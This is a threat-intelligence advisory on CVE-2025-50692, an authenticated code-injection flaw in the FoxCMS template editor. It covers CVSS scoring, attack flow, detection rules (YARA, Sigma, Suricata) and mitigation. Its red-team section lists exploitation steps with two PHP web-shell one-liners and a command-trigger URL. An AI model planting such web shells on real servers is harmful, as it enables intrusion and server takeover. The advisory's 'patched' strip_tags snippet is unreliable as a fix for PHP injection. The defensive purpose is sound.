CVE-2025-50692

Executive Summary

CVE-2025-50692 is a critical code execution vulnerability identified in FoxCMS versions up to and including v1.2.5. The flaw resides in the admin/template_file/editFile.html endpoint, allowing an authenticated attacker with administrative privileges to execute arbitrary code on the server. This vulnerability is particularly dangerous as it targets the template editing functionality, which is a core feature of the CMS. The lack of a confirmed patch from the vendor (Foxcms) elevates the risk, as systems running this software remain exposed. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code), indicating a classic code injection scenario.

Supply Chain & Package Security

FoxCMS is a PHP-based content management system. While not distributed via major package registries like NPM or PyPI, its deployment often involves manual installation or inclusion in web hosting environments. The absence of a patch means that any organization using FoxCMS v1.2.5 or earlier is at risk. Administrators should immediately assess their exposure and consider isolating affected systems until a fix is available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability description and the nature of the flaw (authenticated code execution via template editing), a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – Administrative access is needed.
• User Interaction (UI): None – No user action is required beyond the attacker.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full system compromise possible.
• Integrity (I): High – Arbitrary code execution allows modification of data.
• Availability (A): High – Potential for denial of service or system takeover.

Threat Level: Critical (9.0/10)

Deep Dive & Mechanics

The vulnerability exists in the admin/template_file/editFile.html endpoint. This endpoint is designed to allow administrators to edit template files directly through the web interface. The lack of proper input validation and sanitization enables an attacker to inject arbitrary PHP code into template files. When the template is rendered or executed by the CMS, the injected code runs with the privileges of the web server.

Attack Flow:

1. Authentication: The attacker must have valid administrative credentials to access the admin panel.
2. Navigation: The attacker navigates to the template file editor (e.g., /admin/template_file/editFile.html).
3. Injection: The attacker modifies a template file (e.g., .php or .html file) by inserting malicious PHP code, such as a web shell.
4. Execution: The attacker triggers the execution of the modified template by accessing it via the web server, leading to remote code execution.

Root Cause: The application fails to properly sanitize or validate the content of template files before saving them. This allows arbitrary code to be written to the filesystem and subsequently executed.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is the current implementation in FoxCMS v1.2.5. A patched version would need to implement strict input validation, output encoding, and possibly a whitelist of allowed template tags.

Vulnerable Code (Conceptual):

// admin/template_file/editFile.html (simplified)
$content = $_POST['content'];
file_put_contents($templatePath, $content);

Patched Code (Conceptual):

// Patched version
$content = $_POST['content'];
$sanitizedContent = strip_tags($content, '<allowed_tag>'); // Only allow specific tags
file_put_contents($templatePath, $sanitizedContent);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• FoxCMS v1.2.5 installed and accessible.
• Valid admin credentials (e.g., admin:admin).

Exploitation Steps:

1. Log in to the FoxCMS admin panel.
2. Navigate to the template file editor: http://target.com/admin/template_file/editFile.html.
3. Select a template file to edit (e.g., index.html).
4. Inject a PHP web shell into the file content:

   <?php system($_GET['cmd']); ?>
   

5. Save the file.
6. Access the modified template to execute commands:

   http://target.com/templates/index.html?cmd=id
   

Alternative Payload (One-liner):

<?php echo shell_exec($_GET['c']); ?>

Blue Team (Defensive)

Detection:

• Monitor for unusual modifications to template files in the templates/ directory.
• Look for PHP code injection patterns in HTTP POST requests to /admin/template_file/editFile.html.
• Alert on the presence of system(), exec(), shell_exec(), or eval() in template files.

Mitigation:

• Restrict access to the admin panel using IP whitelisting or VPN.
• Implement file integrity monitoring (FIM) for template directories.
• Disable the template editor if not required, or restrict it to trusted users only.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified template files containing PHP code (e.g., <?php system($_GET['cmd']); ?>).
• New files in the templates/ directory with suspicious content.

Network IOCs:

• HTTP requests to /admin/template_file/editFile.html with large POST data.
• Outbound connections from the web server to external IPs (if the shell is used for exfiltration).

Log IOCs:

• Access logs showing requests to modified templates with query parameters like cmd, c, or exec.
• Error logs indicating PHP parse errors in template files.

Detection Engineering

YARA Rule

rule FoxCMS_Code_Injection_CVE_2025_50692 {
    meta:
        description = "Detects PHP code injection in FoxCMS template files"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-50692"
    strings:
        $php_code = /<\?php\s+(system|exec|shell_exec|passthru|eval|assert)\s*\(/
        $web_shell = /<\?php\s+\$_(GET|POST|REQUEST)\[/
    condition:
        $php_code or $web_shell
}

Sigma Rule

title: FoxCMS Template File Code Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to inject PHP code into FoxCMS template files via the admin panel.
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/template_file/editFile.html'
        cs-uri-query: '*'
    condition: selection
falsepositives:
    - Legitimate admin template edits
level: high

Suricata Rule

alert http any any -> any any (msg:"FoxCMS Template File Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/template_file/editFile.html"; http_uri; content:"<?php"; http_client_body; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Template Editing: If possible, remove or disable the admin/template_file/editFile.html endpoint.
2. Restrict Admin Access: Use IP whitelisting, VPN, or multi-factor authentication for the admin panel.
3. File Integrity Monitoring: Implement FIM to detect unauthorized changes to template files.

Long-Term Fix:

• Vendor Patch: Await an official patch from Foxcms. In the meantime, consider migrating to a supported CMS.
• Code Hardening: If you have access to the source code, implement input validation and output encoding for all template file operations.

Workaround:

• Use a web application firewall (WAF) to block requests containing PHP code in POST data to the vulnerable endpoint.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.